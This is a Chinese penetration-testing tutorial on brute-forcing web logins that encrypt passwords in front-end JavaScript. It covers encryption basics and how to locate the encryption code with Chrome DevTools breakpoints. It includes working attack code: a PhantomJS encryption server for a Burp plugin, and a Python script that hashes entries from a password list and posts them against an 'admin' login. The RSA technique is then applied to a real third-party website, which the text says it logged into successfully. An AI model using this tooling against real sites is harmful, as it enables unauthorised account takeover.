37.前台js登陆加密分析
开篇
由于现在的登陆接口如果明文传输的话,容易被暴力破解,越来越多的网站选择了前台js加密的方式,像这样:
或者这样:
枯了,对渗透造成一定的影响
本篇文章将系统的讲述使用Python对前台js加密爆破的方法。
加密方式
对称加密
什么是对称加密
对称加密就是指,加密和解密使用同一个密钥的加密方式。
对称加密的过程
发送方使用密钥将明文数据加密成密文,然后发送出去,接收方收到密文后,使用同一个密钥将密文解密成明文读取。
常见对称加密算法
AES,DES,3DES,RC4,RC5...
对称加密算法的不足
由于对称加密的加密和解密使用的是同一个密钥,所以对称加密的安全性就不仅仅取决于加密算法本身的强度,更取决于密钥是否被安全的保管,因此加密者如何把密钥安全的传递到解密者手里,就成了对称加密面临的关键问题。
非对称加密
什么是非对称加密
非对称加密算法需要两个密钥:公开密钥(public key)和 私有密钥(private key)。
公开密钥与私有密钥是一对,如果用公开密钥对数据进行加密,只有用对应的私有密钥才能解密;如果用私有密钥对数据进行加密,那么只有用对应的公开密钥才能解密。因为加密和解密使用的是两个不同的密钥,所以这种算法叫作非对称加密算法。
非对称加密的过程
- A要向B发送信息,A和B都要产生一对用于加密和解密的公钥和私钥。
- A的私钥保密,A的公钥告诉B;B的私钥保密,B的公钥告诉A。
- A要给B发送信息时,A用B的公钥加密信息,因为A知道B的公钥。
- A将这个消息发给B(已经用B的公钥加密消息)。
- B收到这个消息后,B用自己的私钥解密A的消息,其他所有收到这个报文的人都无法解密,因为只有B才有B的私钥。
- 反过来,B向A发送消息也是一样。
常见的非对称加密算法
RSA,ECC,DSA...
单向散列函数
单向散列函数的特点
- 不管明文多长,散列后的密文定长
- 明文不一样,散列后结果一定不一样
- 散列后的密文不可逆
- 一般用于校验数据完整性、签名 sign
- 由于密文不可逆,所以后台无法还原,也就是说他要验证,会在后台以跟前台一样的方式去重新签名一遍。也就是说他会把源数据和签名后的值一起提交到后台。所以我们要保证在签名时候的数据和提交上去的源数据一致,这种算法特喜欢在内部加入时间戳
单向散列函数常见算法
MD5,SHA1,SHA256,SHA512,HmacMD5...
其他加密
BASE64
- 所有的数据都能被编码为只用65个字符就能表示的文本。
标准的Base64每行为76个字符,每行末尾添加一个回车换行符(\r\n)。不论每行是否满76个字符,都要添加一个回车换行符。 - 65字符:A~Z a~z 0~9 + / =
URL Base64算法中,为了安全,会把 + 替换成 - ,把 / 替换成 _
= 有时候用 ~ 或 . 代替 - Base64的应用
密钥,密文,图片,数据简单加密或者预处理 - Base64编码解码与btoa、atob
HEX
- 二进制数据最常用的一种表示方式。
- 用0-9 a-f 16个字符表示。每个十六进制字符代表4bit。也就是2个十六进制字符代表一个字节。
- 在实际应用中,尤其在密钥初始化的时候,一定要分清楚自己传进去的密钥是哪种方式编码的,采用对应方式解析,才能得到正确的结果
如何使用chrome浏览器调试js
断点调试
代码断点
1.打开调试工具DevTools(F12)。
2.点击 Sources 选项卡,来查看当前加载的js代码
3.找到需要代码断下的地方,在左侧行号处点击,会出现一个蓝色的图标
4.重新对页面发起请求,当代码执行到这一行就会暂停。
条件断点
除了普通的断点外,还可以使用条件断点,不过只有在条件为真时才会暂停。
1.到需要代码断下的地方,右键点击选择 add conditional breakpoint
2.在弹出的输入框中,输入条件语句,确定后,行号处会变成橙色
管理代码断点
断点多了,有时候自己也乱。这个时候可以在右侧的 Breakpoints窗格管理断点,这里显示每个断点对应的行号和代码。
1.点击断点前的复选框可以禁用该断点。
2.右键单击某个条目,可以呼出菜单以删除该断点,取消激活所有断点,禁用所有断点或删除所有断点,删除除此断点外的其他断点。其中取消激活所有断点会指示DevTools忽略所有代码行断点,但也要保持其启用状态,以便它们在重新激活它们时处于与之前相同的状态。
3.单击断点其他位置,可以联动到该代码在编辑器的位置,并且背景会标黄。
DOM断点
有时候可能需要在DOM节点发生改变的时,对代码暂停。这是就可以设置DOM更改断点。
1.切换到 Elements 选项卡
2.右键点击需要设置断点的元素。
3.将鼠标移到 Break on 上,然后选择 “子树修改”,“属性修改” 或 “节点删除”。
三种断点类型解释:
- 子树修改。当删除或添加当前所选节点的子节点或更改子节点的内容时触发。未在子节点属性更改或当前所选节点的任何更改上触发。
- 属性修改:在当前选定的节点上添加或删除属性时或属性值更改时触发。
- 节点删除:删除当前选定的节点时触发。
XHR/Fetch断点
这里先介绍一下什么是XHR请求:
XHR(XMLHttpRequest)是AJAX的基础,用于在后台与服务器交换数据。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。
如需将请求发送到服务器,我们使用 XMLHttpRequest 对象的 open() 和 send() 方法
如果要在XHR请求的时候,对包含指定字符串的URL进行中断,可以使用此断点。DevTools暂停XHR调用的代码行 send()。 (Fetch也适用)
1.切换到 Sources 选项卡,展开 XHR/Fetch Breakpoints 窗格。
2.点击右侧的加号,添加断点的条件
3.在弹出的输入框输入URL包含的字符串,回车,包含这段字符串的URL,在发出请求的时候,DevTools就会暂停。注意,如果输入为空,将对任何请求进行暂停
事件监听断点
如果要暂停事件触发后运行的事件监听器代码,可以使用事件监听器断点。
1.切换到 Sources 选项卡,展开 Event Listener Breakpoints 窗格
2.在事件列表里选择需要监听的事件类型。比如常用的 Mouse 下的 click 事件。
异常断点
如果要在抛出捕获或未捕获的异常的代码上暂停,那么可以使用异常断点。
1.切换到 Sources 选项卡,点击 暂停异常 按钮,启用后会变成蓝色
2.如果除了未捕获的异常之外还要暂停捕获的异常,请选中 暂停捕获异常 复选框。
步进执行代码
代码暂停后,我们需要手动控制代码的执行,以方便排查问题。如下图从左往右依次是
恢复执行,跳过下一个函数,跳入下一个函数,跳出下一个函数,逐步执行下一行。
恢复执行
1.有时候会觉得逐步执行代码很乏味,这时可以在您觉得可能出问题的代码处打断点,然后点击恢复执行按钮。这样代码就会跳到下一个断点处。
2.除了这个方法,还可以右键单击觉得出问题的代码处,点击Continue to Here (继续到此处)。DevTools就会运行到改行,然后暂停。
3.点开恢复执行按钮右下角的小三角,可以点击强制恢复执行,这样就能无视后面的断点,强行执行脚本。
跳过,跳入,跳出,逐步执行
1.如果觉得代码中调用的某个函数是可信任的,这个时候就可以在代码执行到这行时,点击跳过按钮。
2.如果代码执行到某行调用了某个函数,可以点击跳入这个函数,继续执行。
3.如果不想继续查看调用函数的内部代码,可以点击跳出按钮,回到调用该函数的主流程中。
4.如果不知道哪里出了问题,希望一行行的查找问题,这个时候可以点击逐行执行按钮,这样代码就会按照执行逻辑一行一行的执行。
编辑脚本
有时候修复错误的时候,需要对JS代码进行一些修改。其实有些简单的修改无需在IDE中修改了代码然后再重新加载页面,查看效果。您可以在DevTools中直接编辑脚本。
1.在 Sources 选项卡中的打开需要修改的文件。
2.修改代码,按Ctrl+ S进行保存。这样就将整个JS文件修补到Chrome的JS引擎中了。(注意修改完后不要刷新页面)。
压缩脚本格式化
有时候一些生产环境的文件都是经过压缩的,这样不利于断点调试代码。这个时候可以点击格式化按钮将代码格式化后再进行调试。
查看当前执行上下文
在某行代码上暂停时,使用 Scope 窗格可以查看当前执行上下文。
1.双击属性值,可以进行更改。
2.不可枚举的属性显示为灰色。
查看当前调用堆栈
在某行代码上暂停时,使用 Call stack 窗格可以查看此时的调用堆栈。
1.单击某一个条目可以跳转到调用该函数的代码行。蓝色箭头表示DevTools当前正在突出显示的函数。
2.右键点击某个条目,可以选择复制堆栈跟踪。将当前调用堆栈复制到剪切板。
代码片段
如果发现自己在控制台中反复运行相同的调试代码,就可以考虑使用 Snippets(代码片段)。
1.打开 Sources 选项卡,切换到 Snippets 标签
2.点击 New Snippet 可以新建一个代码片段,编辑代码,按Ctrl+S保存更改,按Ctrl+Enter执行代码。
3.代码执行成功后并且再次对文件进行编辑后,可以通过右键菜单选择 Local Modifications 查看更改记录。还可以通过下方的 revert 按钮撤销本次修改。
4.github上有很多开源的 snippets ,可以保存起来,方便日后调试。
这一片段来源于 https://blog.csdn.net/userkang/article/details/85252644
如何去定位前台加密js代码
如何去定位前台加密的js代码才是本文的关键,毕竟只有找到js加密的代码,才能构造Python脚本去爆破
F12一键定位
F12查找处理登陆函数
F12检查元素,小箭头点击到"登陆","确定"时会触发提交表单的标签中的一个onClik属性,该属性的值正好是一个处理登陆的js函数userLogin(),像这样:
定位到这个函数后,可以去Sources文件中search一下这个处理登陆的函数
match到了三个,在最后function处找到了处理的代码
这个时候需要下断点来确定是否调用了这个函数
F12事件监听
通过F12还可以通过事件的监听来定位加密的方法,还是F12检查元素,小箭头点击到"登陆","确定" 时会触发一个click点击事件,像这样:
查找与验证加密方法与上步一样,这里不再赘述
全局搜索定位
全局搜索顾名思义就是通过查找加密的方法,或者特殊的字段来定位加密的函数,像这样
使用加密函数名搜索
md5,aes,des,rsa,encrypt,tripedes,publickey,setpubkey,setpublickey...
使用特定字段搜索
F12查看元素,着重关注id = " ",name = " ",type = " ",value = " "... 这种里面的内容
一般可以搜索 password,password: ,password = ,pwd ....
先通过Network抓取登陆请求
发现密码用 pwd:来承载,全局搜索 pwd:
成功定位到加密的地方
XHR断点定位
如果搜索加密参数,没有什么有用,或者代码过于复杂,搜索特定参数,发现根本没有,像这样:
可以尝试使用XHR断点进行定位,不过前提是网站使用XHR请求到服务器
切换到,控制台Source 选项卡
在XHR Breakpoints中填入 "officer/v1/user/login"
重新发送请求:
可以看到function y(t)匹配到了断点内容
发现我们需要提交的数据就在这个n.args中
在左边堆栈中查看n的事件,发现一个n.login
打开发现果然我们提交的数据通过这个函数进行加密
简单例子实践
这里推荐c0ny1大佬的环境与插件:https://github.com/c0ny1/jsEncrypter
哦呦,还不错!
这配置文件里面有各种形式的js加密,那就来正常登录分析一波!
F12查看元素,事件监听
进去查看
m控制的是前台选择的加密方式,这里m=1,选择的是hex_md5()
全局search这个方法:
跳到这个md5.js代码
如何进行爆破
使用大佬的 jsEncrypter 插件
1.安装了phantomJS
2.首先我们能够分析出加密的算法,并能够将算法的js文件引入模板脚本,并在模板脚本的js_encrypt函数体中完成对加密函数的调用
jsEncrypter_md5.js
var webserver = require('webserver'); server = webserver.create(); var host = '127.0.0.1'; var port = '1664'; // 加载实现加密算法的js脚本 var wasSuccessful = phantom.injectJs('md5.js');/*引入实现加密的js文件*/ // 处理函数 function js_encrypt(payload){ /**********在这里编写调用加密函数进行加密的代码************/ var newpayload; newpayload = hex_md5(payload); /**********************************************************/ return newpayload; } if(wasSuccessful){ console.log("[*] load js successful"); console.log("[!] ^_^"); console.log("[*] jsEncrypterJS start!"); console.log("[+] address: http://"+host+":"+port); }else{ console.log('[*] load js fail!'); } var service = server.listen(host+':'+port,function(request, response){ try{ if(request.method == 'POST'){ var payload = request.post['payload']; var encrypt_payload = js_encrypt(payload); console.log('[+] ' + payload + ':' + encrypt_payload); response.statusCode = 200; response.write(encrypt_payload.toString()); response.close(); }else{ response.statusCode = 200; response.write("^_^\n\rhello jsEncrypt!"); response.close(); } }catch(e){ console.log('\n-----------------Error Info--------------------') var fullMessage = "Message: "+e.toString() + ':'+ e.line; for (var p in e) { fullMessage += "\n" + p.toUpperCase() + ": " + e[p]; } console.log(fullMessage); console.log('---------------------------------------------') console.log('[*] phantomJS exit!') phantom.exit(); } });
3.运行jsEncrypter_md5.js
开启burp插件jsEncrypter插件,并连接
点击Test测试phantomJS脚本能够正常加密payload
抓包尝试爆破
前期步骤都一样,到最后添加规则的时候
开始爆破
果然nice!
使用python的 execjs 模块
同样需要我们能够分析出加密的算法,使用Python的execjs模块调用加密js,其实原理与上面大佬的思路一样:
这里直接给出代码
import execjs
import sys
import requests
def get_js(): #执行本地js
f = open("md5.js",'r',encoding='utf-8')
line = f.readline()
htmlstr = ''
while line:
htmlstr = htmlstr+line
line = f.readline()
return htmlstr
def get_data(data):
jsstr = get_js()
#调用compile()编译并加载js文件内容
ctx = execjs.compile(jsstr)
#调用call()调用js中的方法与参数
return (ctx.call('hex_md5',data))
def get_file():
f = open('pass.txt','r',encoding = 'utf-8')
for each in f:
data1 = get_data(each.strip())
re = to_request(data1)
if "successful" in re:
print("password : "+each+re)
def to_request(data1):
url = "http://192.168.31.76/webapp/login_check.php"
data = {
"m":"1",
"username":"admin",
"password":data1,
}
re = requests.post(url,data=data)
return re.text
if __name__ == '__main__':
get_file()
尝试运行:
菜鸡代码,大佬勿喷!
真实环境测试
接下来实际分析一下某天下网站的加密。
尝试使用错误的密码登陆,同时F12来监控网络请求:
看到密码处那一大段复杂的加密,首先尝试来搜索关键字,比如这里是 pwd:
这里下断点来调试一下:
到 encryptedString() 这个函数处断了下来,that.password.val()提取出来的是我们输入的明文密码,这个key_to_encode猜想应该是加密用的key值,
搜索一波:
看到RSA字样感觉就稳了,RSA加密的话需要一个密钥,后面的也能对的上。继续跟进RSAKeyPair()函数,看到底是哪个js需要用到这个函数
分析可得,这个RSA.min.js就是加密的代码
尝试把加密js保存在本地,并使用python的execjs模块去调用我们构造的参数
在RSA.min.js结尾补充了这样几行代码
引入RSA加密的公钥,以及我们调用的接口函数,当然,如果可以运行js的话,直接在末尾console.log()会更清晰明白
我这里给出菜鸡python调用代码:
import execjs
def get_js(): #执行本地js
f = open("rsa.js",'r',encoding='utf-8')
line = f.readline()
htmlstr = ''
while line:
htmlstr = htmlstr+line
line = f.readline()
return htmlstr
def get_data(data):
jsstr = get_js()
#调用compile()编译并加载js文件内容
ctx = execjs.compile(jsstr)
#调用call()调用js中的方法与参数
print(ctx.call('crack',data))
if __name__ == '__main__':
password = "joker123"
get_data(password)
运行结果:
使用burp抓取数据包,把上面结果粘贴进去,登陆成功!
结尾
由于自己也是第一次这样分析逆向js代码,如果哪里有错,大佬们可以私信我
参考连接:
http://travistidwell.com/jsencrypt/
http://gv7.me/articles/2018/fast-locate-the-front-end-encryption-method/